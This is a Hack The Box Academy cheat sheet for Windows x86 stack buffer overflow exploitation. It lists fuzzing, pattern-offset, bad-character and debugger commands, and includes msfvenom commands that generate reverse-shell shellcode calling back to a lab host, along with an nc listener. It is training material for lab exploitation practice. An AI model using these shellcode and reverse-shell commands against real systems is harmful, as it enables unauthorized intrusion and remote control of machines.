HACKTHEBOX

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86

CHEAT SHEET

Buffer Overflow Steps

1. Fuzzing Parameters
2. Controlling EIP
3. Identifying Bad Characters
4. Finding a Return Instruction
5. Jumping to Shellcode

Commands

General

RDP to Windows VM:
```
xfreerdp /v:<target IP address>
/u:htb-student /p:<password>
```

Create Pattern:
```
/usr/bin/msf-pattern_create -l 5000
```

Find Pattern Offset:
```
/usr/bin/msf-pattern_offset -q 31684630
```

HACKTHEBOX

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86 CHEAT SHEET

List listening ports on a Windows machine:
`netstat -a |findstr LISTEN`

Interact with port: `.\nc.exe 127.0.0.1 8888`

Generate Local Privesc Shellcode:
```
msfvenom -p 'windows/exec' CMD='cmd.exe' -f
'python' -b '\x00'
```

Generate Reverse Shell Shellcode:
```
msfvenom -p 'windows/shell_reverse_tcp'
LHOST=10.10.15.10 LPORT=1234 -f 'python' -b
'\x00\0x0a'
```

Listen for reverse shell: `nc -lvnp 1234`

General

Open file: `F3`

Attach to a process: `alt+A`

Go to Logs Tab: `alt+L`

Go to Symbols Tab: `alt+E`

Search for instruction: `ctrl+f`

HACKTHEBOX

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86

CHEAT SHEET

Search for pattern:
```
ctrl+b
```

Search all loaded modules for instruction:
```
Search For>All Modules>Command
```

Search all loaded modules for pattern:
```
Search For>All Modules>Pattern
```

ERC

Configure Working Directory:
```
ERC --config SetWorkingDirectory
C:\Users\htb-student\Desktop\
```

Create Pattern:
```
ERC --pattern c 5000
```

Find Pattern Offset:
```
ERC --pattern o 1hF0
```

Generate All Characters Byte Array:
```
ERC --bytearray
```


HTB ACADEMY CHEATSHEET

HACKTHEBOX

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86

CHEAT SHEET

Generate Byte Array excluding certain bytes:
```
ERC --bytearray -bytes 0x00
```

Compare bytes in memory to a Byte Array file:
```
ERC --compare 0014F974 C:\Users\
htb-student\Desktop\ByteArray_1.bin
```

List loaded modules and their memory protections:
```
ERC --ModuleInfo
```

Python

Print fuzzing payload:
```
python -c "print('A'*10000)"
```

Write fuzzing payload to a file:
```
python -c "print('A'*10000,
file=open('fuzz.wav', 'w'))"
```

Add breakpoint to Python exploit:
```
breakpoint()
```

Continue from breakpoint:
```
c
```